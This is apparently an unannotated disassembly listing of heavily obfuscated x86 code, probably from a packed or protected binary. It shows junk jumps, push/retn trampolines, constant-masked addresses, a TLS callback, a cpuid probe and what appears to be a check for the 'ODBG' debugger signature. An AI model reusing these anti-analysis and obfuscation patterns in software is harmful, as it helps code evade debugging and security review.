sub_42A5A2 proc near ; CODE XREF: _94j21ax3:0042225Cj
; sub_42430C+5477p
; FUNCTION CHUNK AT 004239A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428CC4 SIZE 00000011 BYTES
xchg edi, [esp+0]
pop edi
push ebx
push 0CD1FE80Dh
mov ebx, ebp
jmp loc_4239A0
sub_42A5A2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42A5B3: ; CODE XREF: _94j21ax3:00425B06j
jns loc_424721
; =============== S U B R O U T I N E =======================================
sub_42A5B9 proc near ; CODE XREF: sub_429A83-6A48j
; sub_4225A5+D1Bp
; FUNCTION CHUNK AT 00429BDD SIZE 00000005 BYTES
mov [esp+0], edx
pop edx
movzx eax, byte ptr [eax]
mov [ebp-1Ch], eax
push offset loc_429429
loc_42A5C8: ; CODE XREF: sub_423324+3D30j
jmp loc_429BDD
sub_42A5B9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429382
loc_42A5CD: ; CODE XREF: sub_429382:loc_424742j
call sub_42966A
loc_42A5D2: ; CODE XREF: sub_422538:loc_42BD8Aj
sub edx, 7762A26Ch
and edx, 0AE36DF94h
xor edx, 129F006Fh
add edx, ebp
add edx, 4550ADEDh
jmp loc_423D9D
; END OF FUNCTION CHUNK FOR sub_429382
; ---------------------------------------------------------------------------
loc_42A5F1: ; CODE XREF: _94j21ax3:00427AE6j
xor eax, 0CBBAA23h
add eax, ebp
add eax, 0D6D13558h
mov eax, [eax]
jmp loc_42A088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422F50
loc_42A606: ; CODE XREF: sub_422F50+11j
mov eax, [ebp-0Ch]
push offset sub_423F32
jmp sub_4295BA
; END OF FUNCTION CHUNK FOR sub_422F50
; =============== S U B R O U T I N E =======================================
sub_42A613 proc near ; CODE XREF: sub_4220B7-1039p
xchg eax, [esp+0]
mov eax, [esp+0]
call sub_423F43
retn
sub_42A613 endp
; =============== S U B R O U T I N E =======================================
sub_42A61F proc near ; CODE XREF: sub_4259BF-415Ep
; _94j21ax3:00424014p ...
; FUNCTION CHUNK AT 0042374A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004287AF SIZE 00000005 BYTES
jb loc_42374A
push ebp
push offset loc_42BCEE
jmp nullsub_108
sub_42A61F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425324
loc_42A630: ; CODE XREF: sub_425324-3565j
test edx, ecx
jmp loc_4230D0
; END OF FUNCTION CHUNK FOR sub_425324
; ---------------------------------------------------------------------------
ror edx, 1
push ebx
jmp sub_42445A
; =============== S U B R O U T I N E =======================================
sub_42A63F proc near ; CODE XREF: sub_429259-609Cp
xchg eax, [esp+0]
mov eax, [esp+0]
ror eax, 0Dh
mov ds:dword_429F8C, eax
retn
sub_42A63F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4236B8
loc_42A64F: ; CODE XREF: sub_4236B8+6j
jmp nullsub_109
; END OF FUNCTION CHUNK FOR sub_4236B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429EDB
loc_42A654: ; CODE XREF: sub_429EDB:loc_42BDEFj
jnz loc_426455
jmp loc_42BF8A
; END OF FUNCTION CHUNK FOR sub_429EDB
; ---------------------------------------------------------------------------
popf
jmp sub_423081
; ---------------------------------------------------------------------------
loc_42A665: ; DATA XREF: sub_422EB0+3E3Ao
cpuid
and eax, 2FFFh
add [esi], eax
and ebx, 0FFFF07h
add [esi], ebx
xor [esi], edx
jmp loc_4291E2
; =============== S U B R O U T I N E =======================================
sub_42A67D proc near ; CODE XREF: sub_428F65-457Dp
; sub_42A1E5+3j
mov eax, 4F8C9AD3h
jmp nullsub_110
sub_42A67D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42A687: ; CODE XREF: sub_423F55-14Bj
mov edx, offset loc_42A695
xchg edx, [esp+0]
retn
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428993
loc_42A690: ; CODE XREF: sub_428993-85Bj
jmp sub_428AE1
; END OF FUNCTION CHUNK FOR sub_428993
; ---------------------------------------------------------------------------
loc_42A695: ; DATA XREF: sub_423F55:loc_42A687o
pop ebp
jmp loc_426485
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EE4
loc_42A69B: ; CODE XREF: sub_424EE4+4D7j
ror ebx, 16h
call sub_429447
loc_42A6A3: ; CODE XREF: _94j21ax3:004272ADj
jmp loc_429780
; END OF FUNCTION CHUNK FOR sub_424EE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_42A6A8: ; CODE XREF: sub_42169F+5000j
jmp loc_42715B
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_42A6AD: ; CODE XREF: sub_42A7A6:loc_42946Ej
add [ebp-8], eax
call sub_42194B
loc_42A6B5: ; CODE XREF: sub_42ADA2+C5Dj
add esi, eax
or ebx, ebp
test ebp, ebx
jmp loc_426ECA
; END OF FUNCTION CHUNK FOR sub_42A7A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42A6C0: ; CODE XREF: sub_428BBD-573Cj
mov edx, eax
loc_42A6C2: ; CODE XREF: sub_428BBD:loc_426E71j
lea eax, [ebp-800h]
call sub_4267C6
; END OF FUNCTION CHUNK FOR sub_428BBD
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42A6CD: ; CODE XREF: sub_42284F-138Dj
js loc_427536
sbb ebx, 659D2346h
or ebx, ecx
jmp loc_42A566
; ---------------------------------------------------------------------------
loc_42A6E0: ; CODE XREF: sub_42284F:loc_427EEBj
cmp dword ptr [ebp-4], 7
jnz loc_427BB3
jmp loc_429022
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
loc_42A6EF: ; CODE XREF: _94j21ax3:loc_42ACF7j
pushf
mov [esp], ebp
mov ebp, esp
xchg ecx, ebp
push ebp
jmp loc_422EE0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_42A6FE: ; CODE XREF: sub_42484C+488Ej
jmp nullsub_112
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421ABD
loc_42A703: ; CODE XREF: sub_421ABD+1Aj
jmp loc_4291AF
; END OF FUNCTION CHUNK FOR sub_421ABD
; ---------------------------------------------------------------------------
locret_42A708: ; CODE XREF: _94j21ax3:0042C0F1j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A709 proc near ; CODE XREF: sub_4288D4+7p
; sub_426626:loc_42BC61p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00427CCD SIZE 00000012 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
mov [ebp+var_4], eax
jmp loc_427CCD
sub_42A709 endp
; ---------------------------------------------------------------------------
xor ebx, edx
jmp sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424A57
loc_42A71E: ; CODE XREF: sub_424A57-78Cj
mov ebp, esp
push ecx
mov esp, ebp
xchg eax, [esp+4+var_4]
mov ebp, eax
jmp loc_4240F9
; END OF FUNCTION CHUNK FOR sub_424A57
; =============== S U B R O U T I N E =======================================
sub_42A72D proc near ; CODE XREF: sub_423900+Cp
xchg eax, [esp+0]
pop eax
mov edx, [ebp-8]
mov [edx], al
call sub_425808
sub_42A72D endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DA4
loc_42A73C: ; CODE XREF: sub_426DA4+45AFj
jmp loc_42349D
; END OF FUNCTION CHUNK FOR sub_426DA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427A68
loc_42A741: ; CODE XREF: sub_427A68:loc_424071j
add eax, 0C2A82559h
mov eax, [eax]
popf
push eax
jmp loc_4246D5
; END OF FUNCTION CHUNK FOR sub_427A68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428993
loc_42A750: ; CODE XREF: sub_428993-2098j
; sub_428993:loc_4283BAj
push 0D34F4CABh
pop edx
add edx, 47D86499h
add edx, ebp
jmp loc_42511D
; END OF FUNCTION CHUNK FOR sub_428993
; ---------------------------------------------------------------------------
locret_42A763: ; CODE XREF: _94j21ax3:loc_42392Fj
retn
; ---------------------------------------------------------------------------
js loc_42A9D6
jmp loc_42B30E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42A770 proc near ; CODE XREF: _94j21ax3:00426851j
; sub_42A440:loc_42B25Dp
arg_0 = dword ptr 4
xchg edi, [esp+0]
pop edi
xchg edi, [esp-4+arg_0]
jmp sub_4239A5
sub_42A770 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42A77C: ; CODE XREF: _94j21ax3:00428F12j
xchg edi, edx
; =============== S U B R O U T I N E =======================================
sub_42A77E proc near ; CODE XREF: sub_425168+8p
arg_0 = dword ptr 4
mov [esp+0], ebx
pop ebx
mov [esp-4+arg_0], ecx
mov esp, ebp
push offset sub_42A51B
jmp loc_42240F
sub_42A77E endp
; =============== S U B R O U T I N E =======================================
sub_42A791 proc near ; CODE XREF: _94j21ax3:004225F4j
; sub_424320+6p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042378A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AE21 SIZE 00000019 BYTES
mov [esp+0], esi
pop esi
push 3D6A296h
pop edx
xor edx, 4FBB49B5h
jmp loc_42378A
sub_42A791 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42A7A6 proc near ; CODE XREF: _94j21ax3:00423BF3j
; TlsCallback_0+4p
; FUNCTION CHUNK AT 004217D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421C2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004220F0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00422420 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00422F1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042386D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00426ECA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042709A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042843E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428509 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042913D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042946E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A6AD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042B996 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042C405 SIZE 00000005 BYTES
xchg edx, [esp+0]
pop edx
jo loc_42913D
call sub_428381
loc_42A7B5: ; CODE XREF: sub_42A7EAj
; DATA XREF: sub_425539+52A7o
pop ecx
mov edx, [ebp+8]
imul dword ptr [edx-4]
add eax, 2
mov [ebp-0Ch], eax
mov eax, [ebp-0Ch]
jmp loc_42946E
sub_42A7A6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425539
loc_42A7CA: ; CODE XREF: sub_425539:loc_42378Fj
mov [ebp-8], eax
mov eax, [ebp+8]
push eax
mov eax, [ebp+8]
test byte ptr [eax-8], 8
setnz al
loc_42A7DB: ; CODE XREF: _94j21ax3:00426A65j
call sub_4215F9
push offset loc_42A7B5
jmp nullsub_115
; END OF FUNCTION CHUNK FOR sub_425539
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42A7EA proc near ; CODE XREF: sub_428DA6:loc_42A4CDj
retn
sub_42A7EA endp
; ---------------------------------------------------------------------------
loc_42A7EB: ; CODE XREF: _94j21ax3:loc_424DD7j
jnz loc_42C179
jmp loc_4281F8
; ---------------------------------------------------------------------------
loc_42A7F6: ; CODE XREF: _94j21ax3:0042B566j
jo loc_422AFC
; =============== S U B R O U T I N E =======================================
sub_42A7FC proc near ; CODE XREF: sub_425868+6p
; FUNCTION CHUNK AT 00421C1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425415 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004287CE SIZE 0000000F BYTES
mov [esp+0], esi
pop esi
push ecx
cmp ds:dword_42C488, 0
jz loc_4258F6
mov eax, ds:dword_42C488
mov eax, [eax]
jmp loc_421C1B
sub_42A7FC endp
; =============== S U B R O U T I N E =======================================
sub_42A81A proc near ; CODE XREF: _94j21ax3:loc_42BDEEj
; DATA XREF: sub_42BDD7+Do
; FUNCTION CHUNK AT 0042514F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042545A SIZE 00000005 BYTES
push eax
call sub_4247A2
pop eax
pop eax
push eax
push 0FFFFFFFFh
push eax
call sub_42AA5F
jmp loc_42545A
sub_42A81A endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B43F
loc_42A832: ; CODE XREF: sub_42B43F-4F1j
jmp sub_42574E
; END OF FUNCTION CHUNK FOR sub_42B43F
; ---------------------------------------------------------------------------
loc_42A837: ; CODE XREF: _94j21ax3:00427F7Dj
jmp loc_426504
; ---------------------------------------------------------------------------
loc_42A83C: ; CODE XREF: _94j21ax3:0042B887j
ror edi, 1Bh
; =============== S U B R O U T I N E =======================================
sub_42A83F proc near ; CODE XREF: sub_4267C6-1D8Ep
arg_4 = dword ptr 8
xchg ebx, [esp+0]
pop ebx
add ecx, 0B68FF70Bh
popf
xchg ecx, [esp-8+arg_4]
jmp sub_42A61F
sub_42A83F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42A852 proc near ; CODE XREF: _94j21ax3:004214D5j
; _94j21ax3:00427E51p
mov [esp+0], ecx
pop ecx
mov edx, 0DE6CF580h
call sub_4239A5
push eax
sub_42A852 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42270C
loc_42A861: ; CODE XREF: sub_42270C+A4Cj
ror eax, 0Bh
push esi
push 0FBA8280Fh
jmp loc_424E5F
; END OF FUNCTION CHUNK FOR sub_42270C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429EDB
loc_42A86F: ; CODE XREF: _94j21ax3:00427F77j
; sub_429EDB+6j
push 0AA916A07h
pop eax
add eax, 0FB9B0E5Ah
push offset loc_421435
jmp nullsub_221
; END OF FUNCTION CHUNK FOR sub_429EDB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422141
loc_42A885: ; CODE XREF: sub_422141:loc_426F26j
push ecx
xchg eax, ecx
mov eax, [ebp-8]
push offset sub_428F6D
jmp nullsub_203
; END OF FUNCTION CHUNK FOR sub_422141
; ---------------------------------------------------------------------------
mov esi, [eax]
jmp sub_4294B3
; ---------------------------------------------------------------------------
ror eax, 12h
jmp sub_423C3E
; ---------------------------------------------------------------------------
loc_42A8A4: ; CODE XREF: _94j21ax3:loc_426A13j
jnz loc_424AAE
jmp loc_429F23
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427668
loc_42A8AF: ; CODE XREF: sub_427668:loc_429109j
jnz loc_427EEB
jmp loc_4244F1
; END OF FUNCTION CHUNK FOR sub_427668
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A8BB proc near ; CODE XREF: sub_425B77-36E7j
; sub_42972F-10A2j
; FUNCTION CHUNK AT 00426DE1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B092 SIZE 00000013 BYTES
push ebp
mov ebp, esp
push ecx
mov esp, ebp
pop ebp
jmp loc_42B092
sub_42A8BB endp
; ---------------------------------------------------------------------------
loc_42A8C7: ; CODE XREF: _94j21ax3:00423D3Dj
jl loc_429487
; =============== S U B R O U T I N E =======================================
sub_42A8CD proc near ; CODE XREF: _94j21ax3:00429083p
xchg esi, [esp+0]
pop esi
jz loc_427103
sub_42A8CD endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42982D
loc_42A8D7: ; CODE XREF: sub_42982D:loc_42323Dj
mov eax, [ebp-4]
push offset dword_42BD40
jmp loc_426F59
; END OF FUNCTION CHUNK FOR sub_42982D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421047
loc_42A8E4: ; CODE XREF: sub_421047+6856j
mov [edx], al
inc dword ptr [ebp-20h]
mov eax, [ebp-1Ch]
cmp byte ptr [eax], 2Eh
push offset loc_422C24
jmp loc_427498
; END OF FUNCTION CHUNK FOR sub_421047
; ---------------------------------------------------------------------------
loc_42A8F9: ; CODE XREF: _94j21ax3:004293F6j
push edi
mov [ebp+0], esi
; START OF FUNCTION CHUNK FOR sub_421402
loc_42A8FD: ; CODE XREF: sub_421402:loc_4293E5j
sub ebx, 40910F24h
add ebx, 0DDF380A0h
xchg ebx, [esp+10h+var_10]
add [esp+10h+var_10], 0D17C99AFh
push edi
jmp loc_421CD6
; END OF FUNCTION CHUNK FOR sub_421402
; =============== S U B R O U T I N E =======================================
sub_42A919 proc near ; CODE XREF: _94j21ax3:0042B04Dj
; sub_42AC2D+1079p
; FUNCTION CHUNK AT 00424940 SIZE 00000009 BYTES
mov [esp+0], esi
pop esi
jz loc_424940
cmp eax, 0FFFFFFFFh
push offset loc_424933
jmp nullsub_117
sub_42A919 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42A930: ; CODE XREF: sub_42284F+4AB3j
jnz loc_4296E2
jmp loc_428E91
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42A93B: ; CODE XREF: sub_423324:loc_427B91j
cmp dword ptr [eax], 4742444Fh
jz loc_42A566
loc_42A947: ; CODE XREF: sub_423324:loc_421D04j
jmp loc_425077
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42A94C: ; CODE XREF: sub_4294B3:loc_42BEC6j
cmp dword ptr [ebp-4], 1
jnz loc_425077
jmp loc_42583C
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FDC
loc_42A95B: ; CODE XREF: sub_422FDC+1695j
jnz loc_423B68
mov eax, 6
sub eax, [ebp-0Ch]
mov [ebp-0Ch], eax
jmp loc_4266AF
; ---------------------------------------------------------------------------
loc_42A971: ; CODE XREF: sub_422FDC:loc_424667j
cmp dword ptr [ebp-1Ch], 66h
jmp loc_426E7C
; END OF FUNCTION CHUNK FOR sub_422FDC
; ---------------------------------------------------------------------------
mov ebx, [edi]
ror edi, 4
jmp sub_426985
; ---------------------------------------------------------------------------
loc_42A984: ; CODE XREF: _94j21ax3:loc_4295A6j
pop ebx
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_42A985: ; CODE XREF: sub_4259BF+5156j
xor ebx, 0B021744Ch
xchg ebx, [esp+0]
xor dword ptr [esp+0], 6CC37E8Ch
push 4
loc_42A997: ; CODE XREF: _94j21ax3:loc_42B472j
lea eax, [ebp-10h]
push eax
push 639293AAh
jmp loc_42185A
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_42A9A5: ; CODE XREF: sub_4281A5+17BAj
and ebp, 8E276A12h
mov [esi], eax
jmp loc_427797
; END OF FUNCTION CHUNK FOR sub_4281A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422973
loc_42A9B2: ; CODE XREF: sub_422973+Ej
call sub_428B74
sub eax, ds:dword_42C208
shr eax, 11h
jz loc_425210
jmp loc_426431
; END OF FUNCTION CHUNK FOR sub_422973
; ---------------------------------------------------------------------------
loc_42A9CB: ; CODE XREF: _94j21ax3:00422A95j
jnz loc_421422
jmp loc_42727D
; ---------------------------------------------------------------------------
loc_42A9D6: ; CODE XREF: _94j21ax3:0042A764j
; _94j21ax3:0042B91Bj
xor ebp, esi
; =============== S U B R O U T I N E =======================================
sub_42A9D8 proc near ; CODE XREF: sub_42A2B1-8017p
; FUNCTION CHUNK AT 0042713E SIZE 00000006 BYTES
mov [esp+0], esi
pop esi
add esi, 4982ED09h
jmp loc_42713E
sub_42A9D8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42A9E7 proc near ; CODE XREF: sub_422C48p
; _94j21ax3:0042C120j
; FUNCTION CHUNK AT 00427A8F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00427FED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00429CA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B9DC SIZE 00000007 BYTES
xchg ebx, [esp+0]
pop ebx
push ebp
mov ebp, esp
push ecx
jmp loc_427A8F
sub_42A9E7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42A9F4 proc near ; DATA XREF: sub_42266A:loc_428E3Eo
xchg ecx, [esp+0]
jmp sub_4239A5
sub_42A9F4 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42A9FD: ; CODE XREF: sub_4294B3+2A1Ej
jmp nullsub_177
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_42AA02: ; CODE XREF: sub_42C1AE-3A29j
jmp loc_427B70
; END OF FUNCTION CHUNK FOR sub_42C1AE
; =============== S U B R O U T I N E =======================================
sub_42AA07 proc near ; CODE XREF: sub_4258EB+3FD6p
; sub_4258EB:loc_4299C0p
; FUNCTION CHUNK AT 00421A9A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042326E SIZE 0000000A BYTES
mov eax, cs
xor al, al
or eax, eax
jnz loc_42656F
jmp loc_42326E
sub_42AA07 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B202
loc_42AA18: ; CODE XREF: sub_42B202:loc_428D33j
xchg edi, [esp+0]
jmp loc_424A5F
; END OF FUNCTION CHUNK FOR sub_42B202
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42AA21: ; CODE XREF: sub_422EB0+8DDEj
jmp loc_424E17
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_42AA26: ; CODE XREF: sub_42484C+2B1Aj
jmp loc_42955B
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BB0D
loc_42AA2B: ; CODE XREF: sub_42BB0D-A737j
jmp nullsub_173
; END OF FUNCTION CHUNK FOR sub_42BB0D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429280
loc_42AA31: ; CODE XREF: sub_429280+28E6j
pop edx
pop eax
pop ebx
xchg edi, [esp+0]
mov ecx, edi
jmp loc_429B5A
; END OF FUNCTION CHUNK FOR sub_429280
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42AA3E: ; CODE XREF: sub_423324+3D36j
sbb ebx, edi
sbb ebp, edi
or ebp, esi
loc_42AA44: ; CODE XREF: sub_42BC39:loc_425460j
push offset sub_4226AE
jmp nullsub_120
; END OF FUNCTION CHUNK FOR sub_423324
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421558
loc_42AA50: ; CODE XREF: sub_421558+824Bj
jmp nullsub_205
; END OF FUNCTION CHUNK FOR sub_421558
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42AA55: ; CODE XREF: sub_423614-618j
jmp loc_421083
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B238
loc_42AA5A: ; CODE XREF: sub_42B238-87B7j
jmp loc_4294FA
; END OF FUNCTION CHUNK FOR sub_42B238
; =============== S U B R O U T I N E =======================================
sub_42AA5F proc near ; CODE XREF: sub_42A81A+Cp
; sub_42191F+A332p
; FUNCTION CHUNK AT 0042153A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004215EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423CD2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004240D4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004248C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004251DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425A03 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00426D62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426F5E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004285ED SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004286A0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00429B29 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042A38F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A3E2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042B291 SIZE 00000008 BYTES
jo sub_42106D
push ebp
mov ebp, esp
jmp loc_4251DE
sub_42AA5F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ABB1
loc_42AA6D: ; CODE XREF: sub_42ABB1:loc_428313j
push eax
push offset loc_424631
jmp loc_4280B7
; END OF FUNCTION CHUNK FOR sub_42ABB1
; =============== S U B R O U T I N E =======================================
sub_42AA78 proc near ; CODE XREF: _94j21ax3:004234B9j
; sub_42983Ep
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00424A79 SIZE 00000013 BYTES
xchg ebx, [esp+0]
pop ebx
push ebx
push ecx
call sub_42C473
mov esp, [esp+4+arg_0]
jmp loc_424A79
sub_42AA78 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42AA8C: ; CODE XREF: sub_422EB0-1023j
jnz loc_4272F8
jmp loc_422E74
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
loc_42AA97: ; CODE XREF: _94j21ax3:00424C83j
shl eax, 0Fh
add [ebp-8], eax
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C03F
loc_42AAA4: ; CODE XREF: sub_42C03F+13j
jmp loc_42B1CF
; END OF FUNCTION CHUNK FOR sub_42C03F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42AAA9: ; CODE XREF: sub_42A0CC-7D5j
or ebx, 57929FC0h
add ebx, 0A8690041h
test eax, ebx
pop ebx
jz loc_423AB6
jmp loc_4246A4
; END OF FUNCTION CHUNK FOR sub_42A0CC
; =============== S U B R O U T I N E =======================================
sub_42AAC3 proc near ; DATA XREF: sub_423324:loc_423402o
mov eax, [ebp-0Ch]
push offset sub_42472B
jmp nullsub_156
sub_42AAC3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A268
loc_42AAD0: ; CODE XREF: sub_42A268+Aj
jz loc_4283CD
jmp loc_42435F
; END OF FUNCTION CHUNK FOR sub_42A268
; =============== S U B R O U T I N E =======================================
sub_42AADB proc near ; CODE XREF: sub_429862-7B4Cp
; _94j21ax3:00427F84j
; FUNCTION CHUNK AT 0042720D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00429F2D SIZE 00000005 BYTES
xchg edi, [esp+0]
pop edi
pop ebp
mov eax, ds:dword_4219AC
or eax, eax
jnz loc_429F2D
jmp loc_42720D
sub_42AADB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_42AAF3: ; CODE XREF: sub_4221B8+1FBDj
cmp eax, 5E930A8h
jmp loc_427F89
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426716
loc_42AAFE: ; CODE XREF: sub_426716-288Dj
call sub_4290C0
; END OF FUNCTION CHUNK FOR sub_426716
; START OF FUNCTION CHUNK FOR sub_4289CF
loc_42AB03: ; CODE XREF: sub_4289CF+3j
mov [ebp-8], eax
push offset sub_4294E3
jmp loc_423393
; END OF FUNCTION CHUNK FOR sub_4289CF
